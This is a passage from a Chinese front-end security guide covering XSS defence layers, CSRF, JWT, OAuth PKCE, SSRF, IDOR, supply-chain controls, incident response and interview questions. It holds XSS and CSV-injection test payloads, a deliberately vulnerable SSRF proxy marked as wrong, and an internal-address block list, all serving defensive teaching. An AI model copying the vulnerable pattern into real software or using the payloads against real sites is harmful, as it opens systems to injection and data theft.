用户上传的 SVG 不要直接内联:SVG 是 XML,可包含 <script>、事件属性与外部引用。用 <img src> 引用(脚本不执行)或服务端清洗后再内联。

CSV 注入:导出的 CSV 若以 =, +, -, @ 开头,Excel 会当公式执行。导出时在前加 ' 或做转义。

2.9 L2 小结与自检

主题关键结论
CSP白名单 + nonce;先 Report-Only,注意绕过
安全头HSTS/nosniff/frame-ancestors 是基线
CookieHttpOnly + Secure + SameSite + 前缀
iframesandbox 最小权限,别乱给 same-origin
postMessage指定 targetOrigin + 校验 origin
跳转只允许站内路径,拒绝 //、\、伪协议
供应链锁文件 + 审脚本 + SRI + 退出开关
上传类型白名单 + 独立域名 + 禁止内联 SVG

自检题

  1. CSP 里的 nonce 解决了什么问题?为什么不能用固定值?——每次响应生成随机 nonce,只有带该值的脚本可执行;固定值等于白名单泄漏,攻击者可直接复用。
  2. sandbox="allow-scripts allow-same-origin" 有什么风险?——同源加脚本权限后,iframe 内代码可访问父页面 DOM 与存储,甚至移除 sandbox,等于绕过隔离。
  3. 用户上传的 SVG 为什么不能直接内联?——SVG 可包含 <script>、事件属性与外部引用,内联进 DOM 会在当前源执行;作为 <img> 加载或先净化后再用更安全。
  4. SRI 能防止什么、不能防止什么?——能防止 CDN 上的文件被替换;不能防止上游包本身含后门,也不能替代依赖审计。
  5. 为什么开放重定向要用「只允许站内路径」而不是「过滤 evil.com」?——攻击者可用协议相对、反斜杠、编码、userinfo 等多种变体绕过黑名单;白名单式判断更难绕过。

3. L3 高级:绕过、纵深与供应链

3.1 XSS 防线的纵深设计

第 1 层:输入校验(长度、格式、类型)——减少恶意数据入库
第 2 层:输出编码(按上下文:HTML/属性/URL/JS)
第 3 层:消毒(富文本白名单)
第 4 层:CSP(限制执行)
第 5 层:HttpOnly(Cookie 不可读)
第 6 层:Trusted Types(API 层禁止字符串注入)
第 7 层:监控(CSP 报告、异常请求)

为什么需要多层:任何单层都可能被绕过。CSP 有 JSONP 与 CDN 绕过;编码漏一处就前功尽弃;消毒库也会有 CVE。纵深的目标是「单层失效时,影响仍可控」。

层失效还剩什么
输出编码漏了CSP 拦住内联脚本;HttpOnly 让 Cookie 偷不走
CSP 被绕过编码与消毒仍挡住直接注入
消毒库被绕过CSP 限制执行;后端二次校验
全部前端失效服务端鉴权与数据校验

3.2 Trusted Types:把「记得转义」变成浏览器强制

/**
 * 开启 require-trusted-types-for 'script' 后,
 * 直接给 innerHTML 赋值字符串会抛 TypeError,必须经过策略。
 */
const policy = trustedTypes.createPolicy('default', {
  /**
   * @param {string} input 不可信 HTML
   * @returns {TrustedHTML}
   */
  createHTML: (input) => DOMPurify.sanitize(input),
});

el.innerHTML = policy.createHTML(userInput);
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
优点代价
从 API 层禁止字符串注入,漏写转义会立刻报错需要改造所有 DOM 写入点
可配合上报发现存量问题第三方库可能不兼容
与框架配合可只暴露受控入口旧浏览器需降级(不开启时无效果)

落地路径:

1. 先开 Report-Only,收集违反点(不阻断)
2. 按模块改造,优先处理用户输入相关
3. 为第三方库创建专用策略(明确允许的 sanitizer)
4. 最后强制,保留上报

3.3 CSRF 的深层防御

场景风险方案
跨站表单提交自动带 CookieSameSite + Token
跨站 fetch 简单请求不触发预检Token + Origin 校验
子域被攻破可写父域 Cookie会话 Cookie 不设 Domain,用 __Host-
登录 CSRF诱导用户登录攻击者账号登录也校验 Token
JSON 接口旧浏览器可发 text/plain校验 Content-Type 与 Accept
WebSocket握手带 Cookie,无同源限制校验 Origin + Token

本质:CSRF 是「服务端无法区分请求是否由用户本人、在本站发起」。任何能证明「本人 + 本页」的机制都有效,关键是不能只靠一种。

3.4 JWT 的攻击面

问题说明防护
alg: none旧库接受无签名令牌服务端固定算法,拒绝 none
弱密钥HS256 密钥可爆破足够长度 + 定期轮换
算法混淆把 RS256 公钥当 HS256 密钥固定算法,不信任头里的 alg
kid 注入路径穿越或注入白名单 kid,不拼路径
无法吊销签发后长期有效短过期 + 刷新 + 黑名单
存 localStorageXSS 可读改 HttpOnly Cookie
载荷放敏感信息JWT 只是 base64,不是加密不放隐私数据
无 aud/iss 校验令牌可跨服务复用校验 aud、iss、exp、nbf
/**
 * 服务端校验示例(伪代码):固定算法 + 完整声明校验。
 * 不要把 decode 当成 verify。
 */
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  audience: 'https://api.example.com',
  issuer: 'https://auth.example.com',
  clockTolerance: 5,
});

一个常见误解:JWT 不等于「更安全」。它解决的是「无状态校验」,代价是「难吊销、易误用」。会话型应用用 HttpOnly Cookie + 服务端 session 往往更简单、更安全。

3.5 OAuth 2.0 / OIDC:授权码 + PKCE

1. 前端生成 code_verifier,计算 code_challenge = SHA256(verifier)
2. 跳转授权服务器:response_type=code & code_challenge=... & state=...
3. 用户登录并同意,回跳 redirect_uri?code=...&state=...
4. 前端校验 state,拿 code + verifier 换 token
5. 用 access_token 调资源接口;用 id_token 获取身份(校验签名/iss/aud/nonce)
参数作用漏掉的后果
state防 CSRF 与请求伪造授权码被注入
code_verifier/challenge防授权码拦截(PKCE)公共客户端授权码可被换 token
redirect_uri 精确匹配防开放重定向授权码被送到攻击域
nonce(OIDC)防 id_token 重放身份伪造
scope 最小化权限最小过度授权

公共客户端(SPA/移动端)不能保存 client_secret,必须用 PKCE;把 secret 打进前端包等于公开。

3.6 SSRF 与 BFF 代理

// ❌ 服务端直接请求用户提供的 URL
app.get('/proxy', async (req, res) => {
  const data = await fetch(req.query.url); // 可请求 169.254.169.254 元数据
  res.send(data);
});

防护清单:

  1. 协议白名单(只允许 https:);
  2. 域名白名单,解析后校验 IP;
  3. 禁止内网、回环、链路本地、元数据地址(169.254.169.254、::1、10/8、172.16/12、192.168/16);
  4. 禁止跟随重定向到内网(或每次跳转都重新校验);
  5. 超时、响应大小限制、Content-Type 白名单;
  6. 出网走统一代理并记录日志;
  7. 防 DNS rebinding:解析与连接使用同一 IP,或连接后校验对端地址。

3.7 越权(IDOR):前端最常被忽略的问题

用户 A 登录后,接口返回自己的订单
A 把 URL 里的 orderId 改成 B 的
接口直接按 id 查询,没有校验归属 → 看到 B 的订单
类型例子防护
水平越权改 id 看他人数据服务端校验资源归属
垂直越权普通用户调管理员接口服务端校验角色与权限点
批量越权遍历 id 拉全量限流 + 归属校验 + 审计
隐藏接口前端隐藏按钮但接口存在接口级鉴权,不依赖前端

原则:每一次资源访问都要校验「当前用户是否有权访问这个对象」,而不是「是否登录」。前端隐藏按钮只是体验,不是权限。

3.8 供应链安全的工程化

层次手段
引入前私有 registry、包名复核、下载量/维护者审查、许可证检查
安装时--ignore-scripts、lockfile、固定版本、来源白名单
构建时可复现构建、SBOM、产物签名(provenance)
运行时SRI、CSP、最小权限、iframe 隔离
响应漏洞通告订阅、影响面查询、快速回滚
# 生成 SBOM(CycloneDX),回答「我们有没有用到这个漏洞包」
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

SBOM 的价值:出事时不用翻遍所有仓库,直接查清单定位版本与引用路径;这也是合规审计的常见要求。

3.9 安全监控

/**
 * CSP 违规上报:既能发现攻击尝试,也能发现自己的配置写错。
 */
document.addEventListener('securitypolicyviolation', (e) => {
  navigator.sendBeacon(
    '/csp-report',
    JSON.stringify({
      blockedURI: e.blockedURI,
      violatedDirective: e.violatedDirective,
      documentURI: e.documentURI,
      disposition: e.disposition,
    })
  );
});

监控什么:

信号说明
CSP 违规可能有人在尝试注入,或配置过严
异常登录短时间多地登录、失败率突增
批量请求遍历 id、爬取数据
可疑 UA/Referer扫描器特征
依赖漏洞通告新 CVE 影响面
敏感接口调用量突增可能是被刷

3.10 L3 小结与自检

主题关键结论
纵深校验→编码→消毒→CSP→HttpOnly→Trusted Types→监控
Trusted Types用浏览器强制替代人的自觉
CSRF本质是「证明本人 + 本页」,多手段叠加
JWT固定算法、校验声明、短过期、别放隐私
OAuth公共客户端必须 PKCE + state + 精确 redirect_uri
SSRF白名单 + IP 校验 + 禁止重定向到内网
越权每次资源访问都校验归属,前端隐藏不算权限
供应链SBOM + 可复现 + 最小权限 + 退出能力

自检题

  1. 为什么 CSP 不能单独作为 XSS 的唯一防线?——配置不当可被 JSONP、允许的 CDN 或内联脚本绕过,也挡不住 DOM 型注入后的合法请求;需要输出编码、Trusted Types 与服务端校验叠加。
  2. JWT 的 alg 字段为什么不能信任?——攻击者可改成 none 或替换算法伪造签名;服务端必须固定允许的算法,并校验 kid、iss、aud 与过期时间。
  3. 服务端代理用户 URL 时要注意什么?——校验协议与域名白名单、禁止内网地址(防 SSRF)、限制重定向、设置超时与响应大小,且不要回显内网错误细节。
  4. 为什么「前端隐藏按钮」不是权限控制?——接口可以被直接调用;必须在服务端做接口级鉴权与资源归属校验。
  5. OAuth 的 state 与 PKCE 分别防什么?——state 防授权请求伪造与 CSRF,PKCE 防授权码被拦截后换 token;公共客户端二者都必须有。

4. L4 专家:治理、合规与应急

4.1 威胁建模(STRIDE)

4.1.1 六类威胁与前端落点

威胁含义前端例子对应控制
Spoofing冒充身份伪造 token、钓鱼登录页强认证、来源校验、防钓鱼提示
Tampering篡改数据改请求参数、绕过前端校验服务端校验、签名、幂等
Repudiation否认操作缺审计日志关键操作留痕、不可抵赖
Information disclosure信息泄露sourcemap、错误堆栈、冗余字段产物裁剪、脱敏、最小返回
Denial of service拒绝服务昂贵查询、无限重试限流、超时、熔断
Elevation of privilege提权前端隐藏按钮但接口未校验接口级鉴权、资源归属校验

4.1.2 四个必答问题

每个需求评审时问:

1. 数据从哪来?(用户输入、第三方、内部系统)
2. 谁能改?(前端可改的部分都不能当可信)
3. 改错会怎样?(资金、隐私、可用性、合规)
4. 出事后怎么查?(日志、审计、可回滚)

4.1.3 一个简化的建模表

资产入口威胁影响控制残留风险
会话Cookie窃取(XSS)账号被盗HttpOnly + CSP恶意扩展
资金转账接口CSRF财产损失Token + SameSite用户被骗
订单数据GET /orders/:id越权隐私泄露归属校验内部人员
上传文件接口脚本执行全站沦陷类型白名单 + 独立域0day
前端产物构建源码泄漏攻击面暴露关闭 sourcemap逆向

残留风险要写出来:安全不是「消灭风险」,而是「知道还剩什么风险,并决定是否接受」。

4.2 安全左移(SDL)

4.2.1 六个阶段

阶段动作产出
设计威胁建模、权限矩阵安全设计说明
编码安全规范、危险 API 禁用ESLint 规则、代码模板
提交secret 扫描、依赖审计pre-commit / CI
构建SBOM、SRI、CSP 注入产物清单
发布安全头检查、灰度检查报告
运行监控、告警、漏洞响应事件与复盘

4.2.2 用工具拦截,而不是靠记忆

{
  "rules": {
    "react/no-danger": "error",
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-script-url": "error",
    "no-restricted-syntax": ["error", {
      "selector": "AssignmentExpression[left.property.name='innerHTML']",
      "message": "请使用 textContent 或经过 DOMPurify 消毒"
    }]
  }
}
# CI:密钥扫描与依赖审计
- name: Secret scan
  run: npx gitleaks detect --no-git -v

- name: Dependency audit
  run: pnpm audit --prod --audit-level=high

为什么要在 CI 拦:本地 husky 可以被 --no-verify 跳过;CI 是最后一道门。

4.2.3 安全需求的写法

❌ 「注意 XSS」
✅ 「评论内容渲染必须经过 DOMPurify 白名单消毒(标签白名单见附录 A),
    链接只允许 http/https/mailto,外链加 rel="noopener";
    验收用例:5 条 payload 均不执行(见测试用例 SEC-101~105)」

不可验收的安全要求等于没有要求。

4.3 隐私与合规

法规核心要求前端落点
GDPR知情同意、可删除、数据最小化Cookie 同意、埋点开关、删除入口
个人信息保护法告知同意、最小必要、单独同意权限申请说明、SDK 清单、敏感信息单独授权
CCPA出售数据需 opt-out偏好中心
等保身份鉴别、访问控制、审计登录策略、权限模型、日志留存

4.3.1 四个工程要点

1. 埋点上报前检查同意状态(默认不采集)
2. 敏感字段(手机号、身份证、地址)在日志与错误上报中脱敏
3. 提供数据导出与删除能力(含第三方 SDK 的数据)
4. 维护 SDK 清单:名称、用途、收集字段、存储位置、保留时长
/**
 * 同意门控:未同意时不上报任何个性化数据。
 * @param {{analytics: boolean, ads: boolean}} consent
 */
export function createReporter(consent) {
  return {
    /**
     * @param {string} event 事件名
     * @param {Record<string, unknown>} payload 仅允许非敏感字段
     */
    track(event, payload) {
      if (!consent.analytics) return;
      navigator.sendBeacon('/collect', JSON.stringify({ event, payload }));
    },
  };
}
错误问题
默认勾选不构成「知情同意」
拒绝比同意更难违反平等原则
拒绝后仍加载统计脚本实质未尊重选择
只覆盖自家 Cookie,不管第三方遗漏主要风险

4.4 应急响应

4.4.1 六步流程

1. 发现:监控告警 / 外部报告 / 用户反馈 / 漏洞平台
2. 止血:下线功能、加 WAF 规则、撤销 token、回滚版本、关开关
3. 定位:日志、CSP 报告、依赖变更记录、访问审计
4. 修复:补丁 + 验证 + 灰度
5. 复盘:时间线、根因、改进项与负责人
6. 加固:规则、门禁、培训、演练

止血优先于定位:安全事件里,「先控制影响面」永远排在「先搞清楚为什么」前面。止血手段要提前准备好(开关、WAF 规则模板、token 吊销接口)。

4.4.2 XSS 事件处置清单

- [ ] 确认影响范围:哪些页面、哪些用户、是否存储型
- [ ] 立即止血:下线入口 / 加过滤 / 开 WAF 规则
- [ ] 吊销会话:强制所有用户重新登录(若 Cookie 可能被窃)
- [ ] 清理脏数据:批量清洗库里的恶意内容
- [ ] 修复根因:编码/消毒/CSP,补测试用例
- [ ] 通知:安全、合规、客服话术
- [ ] 复盘:入口、为何未拦住、如何防止再发

4.4.3 分级与时限(示例)

级别例子止血时限修复时限
P0可批量窃取会话、资金损失1 小时内24 小时
P1单点越权、存储型 XSS 未利用4 小时72 小时
P2信息泄露(低敏)、配置缺陷1 天1 周
P3最佳实践缺失1 周下个迭代

分级要写进制度,否则每次都要争论「这算不算严重」。

4.5 度量与组织

指标含义目标
高危依赖数未修复的高危漏洞0
CSP 覆盖率开启强制 CSP 的页面比例> 90%
Secret 泄漏数提交到仓库的密钥0
平均修复时长从发现到修复P0 < 24h,P1 < 72h
安全门禁通过率CI 安全检查通过比例> 95%
越权测试覆盖关键接口的归属校验用例100%

组织三件事:

  1. 有 owner:安全不是「安全团队的事」,每个业务线要有安全接口人;
  2. 有标准:漏洞分级、修复时限、豁免流程;
  3. 有演练:每季度一次桌面演练或红蓝对抗,验证止血手段真的可用。

4.6 L4 自检

  1. 一个新业务上线前,你会做哪几项安全检查?——威胁建模(STRIDE)、依赖与 SCA 扫描、CSP 与安全响应头、鉴权与越权测试、敏感数据与日志脱敏、应急联系人与回滚开关。
  2. 发现第三方 SDK 窃取数据,怎么在 1 小时内止血?——先用开关或 CSP 封禁其域名、下架相关版本,轮换密钥与 token,排查外发数据范围,同步合规与用户通知。
  3. 如何在不影响业务的前提下把 CSP 从 Report-Only 推到强制?——先收集 2–4 周报告并按指令聚合,修掉内联与第三方问题,小流量灰度强制,再逐步全量,保留一键回退。
  4. 业务坚持要「先上线再补安全」,你怎么处理?——区分「可延后的加固」与「不可延后的底线」(鉴权、越权、注入、密钥),底线必须在上线前完成;其余列入排期并有截止时间与 owner。
  5. 如何证明安全投入的价值?——用「避免的损失」与「合规成本」量化:历史事件的平均损失 × 发生概率下降、审计不通过的代价、修复成本随时间上升的曲线。

5. 综合实战:评论功能的安全设计

需求:用户可发评论,支持表情、@、链接,展示在列表与详情页,支持图片上传。

5.1 威胁建模

资产威胁影响控制
用户会话XSS 窃取 Cookie账号被盗HttpOnly + CSP + 消毒
评论内容存储型 XSS全站用户受影响双端白名单消毒
图片上传恶意 SVG/HTML脚本执行类型白名单 + 重编码 + 独立域
删除接口CSRF数据被删Token + SameSite
评论列表越权查看私密评论隐私泄露归属与可见性校验
导出功能CSV 注入打开即执行前缀转义

5.2 分层设计

输入:长度限制 + 字符白名单 + 富文本白名单
存储:服务端二次消毒 + 原始内容与展示内容分离
输出:纯文本用 textContent;富文本用 DOMPurify
传输:HTTPS + HttpOnly Cookie + SameSite=Lax + CSRF Token
执行:CSP(nonce + 无 unsafe-inline)+ Trusted Types
上传:类型白名单 + 服务端重编码 + 独立域名 + attachment
监控:CSP 报告 + 异常频率告警

5.3 关键代码

/**
 * 评论渲染:先消毒,再加固链接,最后写入。
 * 注意:即使后端已消毒,前端仍要处理,防止其他客户端绕过。
 * @param {string} html 服务端返回的富文本
 * @param {HTMLElement} container 容器
 */
export function renderComment(html, container) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'span'],
    ALLOWED_ATTR: ['href', 'class', 'data-mention'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
  });

  const doc = new DOMParser().parseFromString(clean, 'text/html');
  doc.querySelectorAll('a[href]').forEach((a) => {
    a.rel = 'noopener noreferrer nofollow';
    a.target = '_blank';
  });

  container.replaceChildren(...doc.body.childNodes);
}
/**
 * 删除评论:带 CSRF Token 的写请求,且服务端校验归属。
 * @param {string} id 评论 ID
 */
export async function deleteComment(id) {
  const token = readCookie('__Host-csrf_token');
  const res = await fetch(`/api/comments/${encodeURIComponent(id)}`, {
    method: 'DELETE',
    credentials: 'include',
    headers: { 'X-CSRF-Token': token },
  });
  if (!res.ok) throw new Error('删除失败');
}

5.4 测试用例

用例输入期望
SEC-101<img src=x onerror=alert(1)>不执行,按文本展示
SEC-102<a href="javascript:alert(1)">x</a>href 被移除
SEC-103<svg onload=alert(1)>标签被清除
SEC-104<a href="https://a.com" target="_blank">补 rel="noopener"
SEC-105上传 .svg 含脚本拒绝或服务端重编码
SEC-106跨站表单删除401/403
SEC-107删除他人评论403
SEC-108评论含 =cmd 导出 CSV前缀转义,不执行

5.5 验收清单

  • 输入 <img onerror>、<svg onload> 不执行
  • javascript:、data:text/html 链接被过滤
  • 删除接口需要 CSRF Token,跨站请求失败
  • CSP 强制模式无违规,unsafe-inline 已移除
  • 上传 SVG 不内联,下载带 attachment
  • 错误上报中手机号、邮箱已脱敏
  • 越权访问他人私密评论返回 403
  • 安全用例进入回归测试,不依赖人工

6. 常见误区对照表

误区事实
「前端校验过了就安全」请求可被直接构造,服务端必须再校验
「用了框架就不会 XSS」dangerouslySetInnerHTML/v-html/URL 属性仍是入口
「Base64 就是加密」只是编码,可逆
「HTTPS 能防 XSS」它防传输窃听,不防页面内注入
「CSP 开了就万事大吉」存在绕过,必须配合编码、消毒与 Trusted Types
「SameSite 能完全防 CSRF」顶层 GET 导航、同站子域、旧浏览器仍有边界
「JWT 比 Session 安全」难吊销,存错位置更危险
「依赖锁了版本就安全」锁的是版本,不是漏洞;首次安装仍可能中招
「sourcemap 只影响体积」公开的 sourcemap 会暴露源码与接口
「安全是安全团队的事」前端是最前线的攻击面
「隐藏按钮就是权限控制」接口可被直接调用,必须服务端鉴权
「前端加密能替代 HTTPS」密钥在前端可见,真正的防线是传输层 + 服务端哈希
「转义了尖括号就安全」属性、URL、JS、CSS 上下文规则不同
「第三方脚本只是性能问题」它能读取页面数据并外发,是安全风险
「漏洞修完就结束了」没有测试用例与门禁,同类问题会再次出现
「安全会拖慢业务」大多是一次性成本;事故的成本远高于预防

7. 面试高频题(附答题思路)

Q1:XSS 的三种类型与防御? 存储/反射/DOM → 各自入口与危害 → 按上下文编码 → 白名单消毒 → CSP/Trusted Types → HttpOnly,按纵深答。

Q2:CSRF 原理与防御? 自动携带 Cookie + 服务端无法辨源 → SameSite → Token → Origin 校验 → 写操作不用 GET。

Q3:CSP 怎么配?nonce 与 hash 的区别? 指令体系 → 禁用 unsafe-inline → nonce 每次请求随机 / hash 针对固定内联脚本 → strict-dynamic 的取舍 → Report-Only 先行。

Q4:为什么 token 不建议放 localStorage? XSS 可读 → 改 HttpOnly Cookie → 代价是需要 CSRF 防护;本质是把「读取风险」换成「伪造请求风险」。

Q5:如何防供应链攻击? 私有源 + 包名复核 + lockfile + --ignore-scripts + SRI + SBOM + 可复现构建 + 退出开关。

Q6:CSP 有哪些已知绕过? JSONP 端点、可控上传的 CDN、Angular 类 gadget、base-uri 未限制、DOM clobbering;结论:纵深防御。

Q7:点击劫持怎么防? X-Frame-Options: DENY 与 frame-ancestors 'none';嵌入第三方用 sandbox 最小权限;关键操作二次确认。

Q8:发现线上 XSS 怎么应急? 止血(下线/过滤/WAF/撤销会话)→ 定位入口 → 修复 → 清理脏数据 → 复盘 → 加固门禁。

Q9:SRI 的原理与局限? 对脚本内容做哈希,浏览器校验;防 CDN 篡改,不防上游后门;需 crossorigin 与固定版本。

Q10:如何做越权测试? 列出资源接口与角色矩阵,用不同账号交叉访问他人资源,验证返回 403 而非数据;把用例纳入回归。


8. 面试深挖

8.1 面试官在考察什么

维度看什么加分回答减分回答
攻击模型是否分得清「谁在什么上下文执行」按输出上下文选择编码方式「转义一下就行」
防线纵深是否只依赖一层编码 + CSP + Trusted Types + 监控只上 CSP 或只上过滤
鉴权边界Cookie 与 Token 的攻击面说明 XSS 与 CSRF 是不同问题「用了 JWT 就安全」
供应链是否把依赖当代码执行说清 lockfile、SRI、最小权限「锁版本就够了」
越权意识是否理解「登录 ≠ 有权」每次资源访问校验归属「前端隐藏了」
应急出事后的处置顺序止血 → 定位 → 修复 → 复盘先改代码再说
工程化能否让规范自动执行lint、CI、SBOM、演练只靠文档与培训

8.2 追问链

链 1 · XSS 三类 → 上下文编码 → CSP 纵深

  • 面试官:XSS 有哪几类?
    • 要点:存储型(脏数据落库,所有访问者中招)、反射型(URL 参数回显)、DOM 型(前端把不可信数据写入 innerHTML / eval / location)。分类依据是「注入点在哪」,不是「有没有落库」。
  • 追问:为什么「统一转义」不够?
    • 要点:不同上下文规则不同。HTML 文本转 & < > " ';属性内要引号包裹并转义;URL 要 encodeURIComponent 且校验协议;JS 字符串要序列化而非拼接;CSS 上下文几乎无法安全转义,应禁止用户输入进入。
  • 再追问:CSP 能兜住所有 XSS 吗?
    • 要点:不能。unsafe-inline 会失效大半;白名单 CDN 上的 JSONP 或可上传脚本可被利用;base-uri、form-action 缺失也留口子。严格 CSP 需要 nonce/hash + strict-dynamic,并配合 Trusted Types 在 API 层禁止字符串注入。

链 2 · CSRF → SameSite → 纵深防御

  • 面试官:CSRF 的本质是什么?
    • 要点:浏览器会自动携带目标站点的 Cookie,攻击者不需要读到响应,只要让请求发生(表单、图片、fetch 简单请求)。所以「读不到响应」不等于安全。
  • 追问:SameSite=Lax 能防住多少?
    • 要点:能挡住大多数跨站 POST 与子资源请求,但顶层 GET 导航仍会携带;SameSite=None 场景(iframe、跨站嵌入)完全失效;同站子域之间的请求不受限。
  • 再追问:那还需要什么?
    • 要点:同步令牌、双提交 Cookie(用 __Host- 防覆盖)、校验 Origin/Referer、关键操作二次确认;接口设计上避免 GET 写操作。多层叠加,任一层失效仍有兜底。

链 3 · Token 存储 → XSS/CSRF 权衡 → OAuth

  • 面试官:token 应该存哪里?
    • 要点:localStorage 会被 XSS 读取但不自动携带(无 CSRF);HttpOnly Cookie 读不到但会自动携带(有 CSRF);内存变量刷新丢失。主流选择是 HttpOnly + SameSite + CSRF Token,把风险转移到可防护的一侧。
  • 追问:SPA 用授权码流程,client_secret 放哪?
    • 要点:不能放前端。公共客户端必须用 PKCE,且 redirect_uri 精确匹配、state 防 CSRF;token 由后端换取或放在安全存储。
  • 再追问:为什么要校验 id_token 的签名与 nonce?
    • 要点:签名防伪造,iss/aud 防跨服务复用,nonce 防重放;只 decode 不 verify 等于没有校验。

链 4 · 供应链 → 依赖投毒 → 制品可信

  • 面试官:前端供应链风险有哪些入口?
    • 要点:postinstall 执行任意代码、依赖混淆(内部包名被公共源抢注)、维护者账号被盗、CDN 第三方脚本被篡改、构建机凭据泄漏。
  • 追问:package-lock.json 能解决吗?
    • 要点:只能锁定版本与完整性哈希,防不住「首次安装就装了恶意版本」与「维护者主动发新版本」;还需要依赖审计、来源白名单、--ignore-scripts、最小权限 CI token。
  • 再追问:第三方脚本怎么管?
    • 要点:能自托管就自托管;必须外链时用 SRI + 固定版本 URL,配 CSP 白名单与 sandbox iframe 隔离;上线前做体积与行为审查,出问题能一键下线。

链 5 · CSP → 绕过 → Trusted Types

  • 面试官:严格 CSP 怎么写?
    • 要点:default-src 'self',script-src 'nonce-xxx' 'strict-dynamic',object-src 'none',base-uri 'self',frame-ancestors 'none',form-action 'self';先 Report-Only 再强制。
  • 追问:为什么有 nonce 还需要 strict-dynamic?
    • 要点:现代应用会动态插入脚本,nonce 无法预知;strict-dynamic 让受信脚本加载的脚本也被信任,同时忽略域名白名单,减少维护成本。
  • 再追问:CSP 被绕过怎么办?
    • 要点:收缩白名单与上传域、移除 unsafe-eval、补 base-uri/form-action;同时用 Trusted Types 在 API 层禁止字符串写入 DOM,让绕过失去注入点。

8.3 手写题

题 1 · HTML 转义与富文本白名单净化

/**
 * 纯文本插值:按 HTML 文本上下文转义。
 * @param {string} input
 * @returns {string}
 */
export function escapeHtml(input) {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
  return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}

/**
 * 富文本净化:白名单标签 + 属性 + 协议。
 * 说明:教学实现,生产建议用 DOMPurify(处理了 mXSS 与命名空间)。
 * @param {string} html 不可信 HTML
 * @returns {string} 安全 HTML
 */
export function sanitize(html) {
  const ALLOWED_TAGS = new Set(['P', 'BR', 'STRONG', 'EM', 'UL', 'OL', 'LI', 'A', 'CODE', 'PRE']);
  const ALLOWED_ATTRS = { A: ['href', 'title', 'rel'] };
  const SAFE_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);

  const doc = new DOMParser().parseFromString(html, 'text/html');

  const walk = (node) => {
    [...node.children].forEach((el) => {
      if (!ALLOWED_TAGS.has(el.tagName)) {
        el.replaceWith(...el.childNodes); // 保留文字,去掉标签
        return;
      }
      [...el.attributes].forEach((attr) => {
        const allowed = ALLOWED_ATTRS[el.tagName] ?? [];
        if (!allowed.includes(attr.name)) el.removeAttribute(attr.name);
      });
      if (el.tagName === 'A' && el.hasAttribute('href')) {
        try {
          const url = new URL(el.getAttribute('href'), location.origin);
          if (!SAFE_PROTOCOLS.has(url.protocol)) el.removeAttribute('href');
          else el.setAttribute('rel', 'noopener noreferrer');
        } catch {
          el.removeAttribute('href');
        }
      }
      walk(el);
    });
  };

  walk(doc.body);
  return doc.body.innerHTML;
}

追问:

  • 为什么不用正则做净化?→ HTML 容错解析会产生意外结构,正则极易被畸形标签绕过;必须用解析器。
  • 黑名单(禁 script)有什么问题?→ 绕过方式太多(大小写、命名空间、事件属性、SVG 内脚本),应使用白名单。
  • 前端净化后服务端还要做吗?→ 要。前端只保护当前渲染,服务端仍需在存储与输出时校验,防止其他客户端直接调接口。

题 2 · CSP 报表收集与灰度

/**
 * 监听 CSP 违规并上报,采样避免刷爆日志。
 * @param {{endpoint: string, sampleRate?: number}} options
 * @returns {() => void} 取消监听
 */
export function reportCsp({ endpoint, sampleRate = 0.1 }) {
  const handler = (event) => {
    if (Math.random() > sampleRate) return;
    const payload = {
      blockedURI: event.blockedURI,
      violatedDirective: event.violatedDirective,
      effectiveDirective: event.effectiveDirective,
      documentURI: event.documentURI,
      disposition: event.disposition,
      sample: sampleRate,
    };
    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  };

  document.addEventListener('securitypolicyviolation', handler);
  return () => document.removeEventListener('securitypolicyviolation', handler);
}

追问:

  • 为什么用 sendBeacon?→ 页面卸载时也能可靠发送,不阻塞导航。
  • report-only 有什么用?→ 先观察不拦截,收集足够数据再切强制模式,避免上线即白屏。
  • 上报里可能含敏感 URL 吗?→ 会,blockedURI 可能带查询参数,上报前应脱敏。

题 3 · 安全的跳转与 postMessage 封装

/**
 * 只允许站内跳转,拒绝协议相对、反斜杠、伪协议与跨源。
 * @param {string} target 用户输入
 * @param {string} [fallback='/'] 兜底
 */
export function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/')) return fallback;
  if (target.startsWith('//') || target.includes('\\')) return fallback;
  try {
    const url = new URL(target, location.origin);
    if (url.origin !== location.origin) return fallback;
    return `${url.pathname}${url.search}${url.hash}`;
  } catch {
    return fallback;
  }
}

/**
 * postMessage 封装:发送时锁定目标源,接收时校验来源与结构。
 * @param {Window} target
 * @param {string} origin
 */
export function createChannel(target, origin) {
  return {
    /**
     * @param {{type: string, payload?: unknown}} message
     */
    send(message) {
      target.postMessage(message, origin);
    },
    /**
     * @param {(msg: {type: string, payload?: unknown}) => void} handler
     * @returns {() => void} 取消监听
     */
    listen(handler) {
      const onMessage = (event) => {
        if (event.origin !== origin) return;
        const data = event.data;
        if (!data || typeof data !== 'object' || typeof data.type !== 'string') return;
        handler(data);
      };
      window.addEventListener('message', onMessage);
      return () => window.removeEventListener('message', onMessage);
    },
  };
}

追问:

  • 为什么不能用 postMessage(data, '*')?→ 任何嵌入方都能收到,可能泄漏会话内数据。
  • 为什么只校验 origin 还不够?→ 还要校验消息结构(type、字段类型),避免被可信源的其他页面误触发。
  • event.source 能用来判断发送方吗?→ 可以用作辅助(比对已知窗口引用),但不能替代 origin 校验。

8.4 场景设计题

题 1 · 市场部要接入 5 个第三方脚本(埋点、客服、A/B、广告、热力图),要求「不拖慢首屏、不被一家拖垮、出事能下线」。你怎么设计接入规范?

评估点:是否分「准入、加载、隔离、监控、退出」五层。

参考方案:

  1. 准入:登记负责人、用途、域名、体积预算、数据处理范围;要求提供固定版本 URL 与 SRI 哈希;评估是否真的必需。
  2. 加载:全部 async/defer,延后到首屏后;按需触发(打开客服面板才加载);统一走内部代理域名,便于封禁与缓存。
  3. 隔离:广告/热力图放 sandbox iframe;必须同页执行的限定命名空间,禁止改写全局原型与 document.write。
  4. 监控:采集各脚本的加载失败率、长任务占比、JS 错误归属、外发请求域名;异常自动摘除。
  5. 退出:每个脚本独立开关,不发版即可下线;定期复审无主脚本。

